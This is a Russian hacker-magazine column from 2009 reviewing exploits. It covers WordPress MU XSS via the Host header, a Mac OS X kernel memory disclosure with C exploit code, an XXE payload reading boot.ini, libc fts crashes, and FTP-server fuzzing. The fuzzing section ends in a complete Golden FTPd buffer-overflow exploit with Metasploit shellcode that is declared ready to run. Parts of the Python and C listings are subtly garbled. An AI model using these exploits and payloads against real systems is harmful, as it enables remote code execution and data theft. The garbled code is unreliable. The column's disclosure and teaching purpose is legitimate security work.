Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 124, АПРЕЛЬ 2009 г.

Обзор эксплоитов

Андрей «skvoz» Комаров (komarov@itdefence.ru)

Межсайтовый скриптинг в Wordpress MU

BRIEF

Wordpress MU - версия известного блогосферного продукта, предназначенного для организации бесчисленного числа блогов на одном движке (а также – на одном сервере). Уязвимость была найдена в функции choose_primary_blog (в составе wp-includes/wpmu-functions.php). Рассмотрим код сего творения.

1830 function choose_primary_blog() {
1831global $current_user;
1832?>
1833<table class="form-table">
1834<tr>
1835<th scope="row"><?php _e('Primary Blog'); ?></th>
1836<td>
1837<?php
1838$all_blogs = get_blogs_of_user( $current_user->ID );
1839if( count( $all_blogs ) > 1 ) {
1840$primary_blog = get_usermeta($current_user->ID,
'primary_blog');
1841?>
1842<select name="primary_blog">
1843<?php foreach( (array) $all_blogs as $blog ) { ?>
1844<option value='<?php echo $blog->userblog_id
?>'<?php if( $primary_blog == $blog->userblog_id ) echo '
selected="selected"' ?>>http://<?php echo $blog->domain.$blog->path
?></option>
1845<?php } ?>
1846</select>
1847<?php
1848} else {
1849echo $_SERVER['HTTP_HOST'];
1850}
1851?>
1852</td>
1853</tr>
1854</table>
1855<?php
1856 }

Пристально взглянув на 1849 строку, понимаем, что в наш запрос к серверу можно внедрить что-нибудь вредоносное – например, сторонний HTML/JS-код. Воссоздать такую ситуацию реально с помощью HTTP-анализаторов с возможностью обратного инжекта пакета, либо же WEB-проксей для проверки на безопасность приложений (WebScarab, Burpsuite).

$ curl -H "Cookie: " -H "Host: <body
onload=alert(String.fromCharCode(88,83,83))>"
http://www.example.com/wp-admin/profile.php> tmp.html
$ firefox tmp.html

TARGETS

  • Wordpress MU < 2.7

SOLUTION

Производитель уже уведомлен о наличии бреши, но реакции пока не наблюдается (читай одноименную статью в нашей рубрике и поймешь, что WordPress славится далеко не единой брешью, – Прим. Forb).

Apple MACOS X xnu <= 1228.x Local Kernel Memory Disclosure

BRIEF

Множественные целочисленные переполнения в функциях Apple MacOS позволяют с помощью специального системного вызова i386_set_ldt или i386_get_ldt повысить привилегии локальных пользователей. Нетрудно сделать вывод, что уязвимость может быть эксплуатированной исключительно на Intel-based машинах. Не вдаваясь в подробности, скажу, что подобного рода уязвимость была обнаружена аж в 2005 году во FreeBSD (и нечему тут удивляться, ведь Unix-архитектура обеих систем консервативна). Такой же баг был найден и сравнительно недавно, но уже в MacOS.

Напомню, что существует три вида таблиц дескрипторов: глобальная таблица (одна в системе - GDT), локальная таблица (может быть своя для каждой задачи), а также таблица дескрипторов прерываний. Локальная таблица (LDT) содержит только дескрипторы сегментов, шлюзов задачи и вызовов. Сегмент недоступен задаче, если его дескриптора нет ни в LDT, ни в GDT (потому что локальная дескрипторная таблица описывается дескриптором глобальной таблицы). Основа виртуальной памяти системы Pentium состоит из двух таблиц: LDT и GDT.

Функция i386_get_ldt возвращает список дескрипторов, задействованных в LDT (Local Descriptor Table) в текущий момент. Базовый синтаксис вызова описывается следующей функцией:

#include <machine/segments.h>
#include <machine/sysarch.h>
int i386_get_ldt (int start_sel union descriptor *descs int num_sels);

Сообщив параметр экстремально большого размера, можно допустить копирование памяти ядра в пользовательское окружение.

EXPLOIT

Ключевые фрагменты привожу ниже:

#define TMP_FILE"/tmp/xnu-get_ldt"
#define READ_SIZE 0x2000000

int
main (int argc, char **argv)
{
int fd, n, num_desc;
void *ptr;

n = i386_get_ldt (0, ((int)NULL) + 1, 0);
if (n < 0)
{
fprintf (stderr, "failed i386_get_ldt(): %d\n", n);
return (EXIT_FAILURE);
}

num_desc = n;
printf ("i386_get_ldt: num_desc: %d\n", num_desc);

fd = open (TMP_FILE, O_CREAT | O_RDWR, S_IRUSR | S_IWUSR);
if (fd < 0)
{
fprintf (stderr, "failed open(): %d\n", fd);
return (EXIT_FAILURE);
}
# mmap проецирует файлы или память устройств в память
ptr = mmap (NULL, READ_SIZE, PROT_READ | PROT_WRITE,
MAP_ANON | MAP_PRIVATE, -1, 0);
if ((int) ptr == -1)
{
fprintf (stderr, "failed mmap()\n");
return (EXIT_FAILURE);
}
# задание значения участку памяти, в данном случае – зануление READ_SIZE байт по адресу в ptr
memset (ptr, 0x00, READ_SIZE);
i386_get_ldt (num_desc - 1, (union ldt_entry *) ptr, -(num_desc - 1));
# дампим участок памяти в файл
n = write (fd, ptr, READ_SIZE);
munmap (ptr, READ_SIZE);
close (fd);

printf ("%d-bytes of kernel memory dumped to: %s\n", n, TMP_FILE);

return (EXIT_SUCCESS);
}

TARGETS

  • Apple Mac OS X <10.5.6

SOLUTION

Сейчас как раз идет активное обсуждение решения.

Full Disclosure

Многочисленные уязвимости в FTP-серверах.

BRIEF

Одна из самых распространенных проблем безопасности будет отражена в этой заметке, а именно – fuzzing FTP-серверов. Сам процесс фаззинга не раз уже описывался на страницах журнала: по сути, это умышленное общение с сервисом с помощью аномальных запросов. Вспомним, что на самом деле FTP-протокол очень емок и насчитывает более ста команд. Соответственно, разработчики должны учесть их все в своих приложениях (а это очень трудоемкая задача) – устанавливать ограничение на вводимую длину создаваемой папки, контролируемую глубину пути и так далее. Для автоматизации процесса багоискатели пишут либо собственные скрипты, либо полноценные приложения, вроде Infigo FTP Fuzz (infigo.hr/files/ftpfuzz.zip). Как правило, подобного рода уязвимости эксплуатируется после авторизации. Для этого можно заюзать anonymous-доступ, из-под которого и осуществлять проверки. Сюжет прост - фаззером сообщаются различные данные, а параллельно мы осуществляем мониторинг поведения приложения (OllyDbg). Порой приложение не дает себя дебажить и конфликтует с «Olly». Чтобы решить проблему, попробуй использовать альтернативный отладчик. FaultMon (research.eeye.com/html/tools/RT20060801-4.html) - утилита для выявления экспешнов в приложении и их корректной работы.

Для аттача процесса в OllyDbg можно воспользоваться соответствующей вкладкой или использовать флаг -P (с указанием PID процесса). Аналогичный флаг присутствует и в FaultMon. Рассмотрим процесс анализа Golden FTPd. Аттачим процесс к дебаггеру и начинаем фаззинг по всем параметрам. Так как сервис привязан к запуску «внутри» Olly, для более качественной отладки после креша предстоит играться с Debug > Restart. Из-за переполнения входных данных по команде USER мы выявили переполнение буфера, и значение EIP перезаписалось на 41414141.

Путем замеров выясняем, что переполнили буфер 3000 байтами. Далее требуется передать управление на шелл-код путем изменения адреса возврата. Кликаем правой кнопкой мыши в окне OllyDbg: Overflow Return Address -> ASCII Overflow returns -> Search JMP/Call ESP. Когда эта процедура завершена, палим View -> Log, чтобы отследить расположение «jmp esp», «call esp» в процессе и связанных DLL.

Теперь View -> Executable Modules – и по базе OpCodeDB в Metasploit определяем адрес возврата: 0x750362c3 - ws2_32.dll (opcode - pop,pop.ret). Обнаружили, что данный адрес содержит pop,pop.ret. Так как они нужны нам, прибавляем единицу к адресу возврата, чтобы пропустить одну из команд pop (0x750362c4).
Мы можем воспользоваться готовым шелл-кодом win32_exec из пакета Metasploit (payloads):

"\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
"\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"
"\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"
"\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"
"\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"
"\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"
"\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"
"\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"
"\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"
"\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"
"\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4"

# (3000 bytes)
sc = 'A' * 3000
# calc.exe Shellcode(172 bytes)

sc += "\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
sc += "\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"
sc += "\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"
sc += "\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"
sc += "\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"
sc += "\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"
sc += "\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"
sc += "\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"
sc += "\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"
sc += "\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"
sc += "\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4"

# Windows 2000 SP0,1,2,3,4 (pop,pop,ret+1)= (pop,ret)
# Thanks Metasploit!

return_address='\xC5\x2A\x02\x75'
buffer = '\xEB\x30' + ' /' + sc + return_address + '\r\n\r\n'
printbuffer

Эксплойт готов! После его запуска и отправки соответствующего содержимого мы получим удаленное исполнение calc.exe на целевой машине.
Устройство самого фаззера можно понять на простом примере. Воспользуемся вспомогательным средством antiparser (antiparser.sourceforge.net) – это API, которое написано на Python и позволяет создать специальные блоки данных для применения в фаззерах. Что же представляют собой эти блоки?

  • apChar() - восьмибитный символ
  • apCString() - строка (как в языке С), состоящая из знаков и заканчивающаяся нулевым символом
  • apKeywords() - список параметров, отделенных друг от друга специальным символом или другим блоком данных
  • apLong() - 32-битное целое
  • apShort() - 16-битное целое
  • apString() - произвольная строка (aka «free form string»)

Наиболее интересен тип apKeywords(). Последовательность, задаваемая им выглядит так: [ключевое слово (например, команда FTP)][разделитель][блок данных (параметры к команде)][символ конца блока]. Применительно к FTP можно сделать такой набросок:

# импортируем все функции из модуля
From antiparser import *
# задаем список команд в качестве ключевых слов типа список
CMDLIST = ['ABOR', 'ALLO', 'APPE', 'CDUP', XCUP', 'CWD', 'XCWD', 'DELE', 'HELP', 'LIST', 'MKD', 'XMKD', 'MACB', 'MODE', 'MTMD', 'NLST', 'NOOP', 'PASS', 'PASV', 'PORT', 'PWD', 'XPWD', 'QUIT', 'REIN', 'RETR', 'RMD', 'XRMD', 'REST', 'RNFR', 'RNTO', 'SITE', 'SIZE', 'STAT', 'STOR', 'STRU', 'STOU', 'SYST', 'TYPE', 'USER']
# задаем символ разделителя и завершающего знака
SEPARATOR = " "
TERMINATOR = "\r\n"
For cmd in CMDLIST:
# инициализируем API
Ap = antiparser()
# настраиваем на режим со своими ключевыми словами
cmdkw = apKeywords()
# задаем слова, разделитель и завершающий символ
cmdkw.setKeywords([cmd])
cmdkw.setSeparator(SEPARATOR)
cmdkw.setTerminator(TERMINATOR)
# чем будем фаззить, в качестве параметров к командам
cmdkw.setContent(r"%n%n%n%n%n%n%n%n%n%n%n%")
# делаем так, чтобы генерируемые блоки данных варьировались по размеру с нарастанием до 65536 байт
cmdkw.setMode('incremental')
cmdkw.setMaxSize(65536)
ap.append(cmdkw)
# шлем всю картину на указанный хост и порт с помощью сокетов
sock = apSocket()
sock.connect(HOST, PORT)
print sock.recv(1024)
sock.sendTCP(ap.getPayload())
print sock.recv(1024)
sock.close

Отмечены все доступные методы для «общения». Тестирование выявило затруднения при обработке CWD/CDUP. «Access violation» представляет ситуацию, когда приложение пытается прочитать участок памяти, которого не существует (характерная ошибка – «Read of»). Вторая ошибка связана с записью в участок памяти («Write to») , который был недоступен, либо приложение не имело привилегий для записи. Для отслеживания такого рода ошибок, требуется выставить флажки в OllyDbg (Options -> Debugging -> Options -> Exceptions) «Memory Access Violation», «Single Step Break».

TARGETS

Выявленные таким способом уязвимости:

  • WinFTP 2.3.0

Передача аномального параметра в команде LIST (LIST *<строка>). Позволяет перезаписать arbitary-память (http://milw0rm.com/exploits/7875).

  • GuildFTPd FTP Server Version 0.x.x

Обход ограничения безопасности по команде DELETE (http://milw0rm.com/exploits/8200).

Может быть осуществлено с применением техник directory traversal ( \..).

  • WFTPD Explorer Pro 1.0

Переполнение кучи (http://milw0rm.com/exploits/7913).

  • Serv-U 7.4.0.1

Неавторизированное создание произвольных директорий (http://milw0rm.com/exploits/8211).

Вдобавок, следует понимать, что неразумное использование экстремально больших параметров иногда приводит к отказу в обслуживании сервиса. Этот продукт, к сожалению, не исключение. При сообщении большого числа (свыше 2000) команд SMNT после авторизации – происходит аварийное завершение работы сервиса.

NextApp Echo XML Injection

BRIEF

Одна из неочевидных и интересных атак. Пример сценария: от клиента отправляются XML-данные, поступают на сторону приложения, где обрабатываются XML-парсером.

Типичный запрос:

<client-message xmlns="http://www.nextapp.com/products/echo2/climsg" trans-id="3" focus="c_25">
<message-part xmlns="" processor="EchoPropertyUpdate">
<property component-id="c_25" name="text">aa</property>
<property component-id="c_25" name="horizontalScroll" value="0"/>
<property component-id="c_25" name="verticalScroll" value="0"/>
</message-part><message-part xmlns="" processor="EchoAction">
<action component-id="c_25" name="action"/></message-part>
</client-message>

Вредоносный запрос:

<?xml version="1.0"?><!DOCTYPE sec [<!ELEMENT sec ANY><!ENTITY mytestentity SYSTEM "file:///c:\boot.ini">]>

Интересность в том, что языковыми средствами языка XML злоумышленник может продекларировать новый объект. Тот, в свою очередь, объявит объект, содержащий boot.ini, на который можно будет сослаться в XML-запросе.

EXPLOIT

Код запроса представлен выше, инжект такого XML-request'a может быть выполнен с помощью средств JS/HTTP-POST.

TARGETS

  • NextApp Echo < 2.1.1

Уязвимости в функциях fts_* в libc (http://milw0rm.com/exploits/8163).

BRIEF

Здесь мы видим некорректную обработку исключительных ситуаций при длинном пути. Набор функций fts занимается отображением иерархии файловой системы UNIX – ftp_open() возвращает хэндл на файловую иерархию, и он может быть «скормлен» одной из следующих функций:

  • fts_read - возвращает указатель на структуру, описывающую один из элементов файловой иерархии;
  • fts_children() возвращает указатель на список структур, каждая из которых описывает один из файлов внутри дочерней директории.

Обратимся к структуре, описывающей иерархию:

typedef struct _ftsent {
unsigned short fts_info;/* флаги на FTSENT-структуру*/
char *fts_accpath;/* путь доступа */
char *fts_path;/* текущий каталог */
size_t fts_pathlen;/* strlen(fts_path) */
char *fts_name;/* имя файла */
size_t fts_namelen;/* strlen(fts_name) */
short fts_level;/* глубина иерархии (-1 до N) */
int fts_errno;/* исключения */
long fts_number;/* нумерованное значение */
void *fts_pointer;/* локальный адрес в памяти */
struct _ftsent *fts_parent;/* родительская директория */
struct _ftsent *fts_link;/* следующая файловая структура */
struct _ftsent *fts_cycle;/* структура иерархии по циклу */
struct stat *fts_statp;/* статистика по файлам иерархии */
} FTSENT;

Заметим, что fts_level имеет тип short. Это наводит на определенные мысли. При изучении кода взгляд натыкается на комментарий разработчиков:

- ---line-616-625---
/*
* Figure out the max file name length that can be stored in the
* current path -- the inner loop allocates more path as necessary.
* We really wouldn't have to do the maxlen calculations here, we
* could do them in fts_read before returning the path, but it's a
* lot easier here since the length is part of the dirent structure.
*
* If not changing directories set a pointer so that can just append
* each new name into the path.
*/
- ---line-616-625---

«По правде говоря, мы не будем здесь делать какие-либо вычисления с огромными именами... и здесь должен быть уровень ограничений или «pathlen»-монитор». Конечно, должен, но где же он? Безусловно, недоработка, а точнее недоделка.

#defineNAPPEND(p)\
(p->fts_path[p->fts_pathlen - 1] == '/'\
? p->fts_pathlen - 1 : p->fts_pathlen)

Естественно, эта функция пойдет в креш, если мы обратимся к неправильному участку памяти с помощью аномальных параметров.

127# pwd
/home/cxib
# количество родительских каталогов очень велико
127# du /home/
4/home/cxib/.ssh
Segmentation fault (core dumped)
127# rm -rf Samotnosc
Segmentation fault (core dumped)
127# chmod -R 000 Samotnosc
Segmentation fault (core dumped)

TARGETS

  • OpenBSD 4.4 (/usr/src/lib/libc/gen/fts.c)
  • Microsoft Interix 6.0 10.0.6030.0 x86
  • Microsft Vista Enterprise (SearchIndexer.exe)
Содержание
загрузка...
Журнал Хакер #151Журнал Хакер #150Журнал Хакер #149Журнал Хакер #148Журнал Хакер #147Журнал Хакер #146Журнал Хакер #145Журнал Хакер #144Журнал Хакер #143Журнал Хакер #142Журнал Хакер #141Журнал Хакер #140Журнал Хакер #139Журнал Хакер #138Журнал Хакер #137Журнал Хакер #136Журнал Хакер #135Журнал Хакер #134Журнал Хакер #133Журнал Хакер #132Журнал Хакер #131Журнал Хакер #130Журнал Хакер #129Журнал Хакер #128Журнал Хакер #127Журнал Хакер #126Журнал Хакер #125Журнал Хакер #124Журнал Хакер #123Журнал Хакер #122Журнал Хакер #121Журнал Хакер #120Журнал Хакер #119Журнал Хакер #118Журнал Хакер #117Журнал Хакер #116Журнал Хакер #115Журнал Хакер #114Журнал Хакер #113Журнал Хакер #112Журнал Хакер #111Журнал Хакер #110Журнал Хакер #109Журнал Хакер #108Журнал Хакер #107Журнал Хакер #106Журнал Хакер #105Журнал Хакер #104Журнал Хакер #103Журнал Хакер #102Журнал Хакер #101Журнал Хакер #100Журнал Хакер #099Журнал Хакер #098Журнал Хакер #097Журнал Хакер #096Журнал Хакер #095Журнал Хакер #094Журнал Хакер #093Журнал Хакер #092Журнал Хакер #091Журнал Хакер #090Журнал Хакер #089Журнал Хакер #088Журнал Хакер #087Журнал Хакер #086Журнал Хакер #085Журнал Хакер #084Журнал Хакер #083Журнал Хакер #082Журнал Хакер #081Журнал Хакер #080Журнал Хакер #079Журнал Хакер #078Журнал Хакер #077Журнал Хакер #076Журнал Хакер #075Журнал Хакер #074Журнал Хакер #073Журнал Хакер #072Журнал Хакер #071Журнал Хакер #070Журнал Хакер #069Журнал Хакер #068Журнал Хакер #067Журнал Хакер #066Журнал Хакер #065Журнал Хакер #064Журнал Хакер #063Журнал Хакер #062Журнал Хакер #061Журнал Хакер #060Журнал Хакер #059Журнал Хакер #058Журнал Хакер #057Журнал Хакер #056Журнал Хакер #055Журнал Хакер #054Журнал Хакер #053Журнал Хакер #052Журнал Хакер #051Журнал Хакер #050Журнал Хакер #049Журнал Хакер #048Журнал Хакер #047Журнал Хакер #046Журнал Хакер #045Журнал Хакер #044Журнал Хакер #043Журнал Хакер #042Журнал Хакер #041Журнал Хакер #040Журнал Хакер #039Журнал Хакер #038Журнал Хакер #037Журнал Хакер #036Журнал Хакер #035Журнал Хакер #034Журнал Хакер #033Журнал Хакер #032Журнал Хакер #031Журнал Хакер #030Журнал Хакер #029Журнал Хакер #028Журнал Хакер #027Журнал Хакер #026Журнал Хакер #025Журнал Хакер #024Журнал Хакер #023Журнал Хакер #022Журнал Хакер #021Журнал Хакер #020Журнал Хакер #019Журнал Хакер #018Журнал Хакер #017Журнал Хакер #016Журнал Хакер #015Журнал Хакер #014Журнал Хакер #013Журнал Хакер #012Журнал Хакер #011Журнал Хакер #010Журнал Хакер #009Журнал Хакер #008Журнал Хакер #007Журнал Хакер #006Журнал Хакер #005Журнал Хакер #004Журнал Хакер #003Журнал Хакер #002Журнал Хакер #001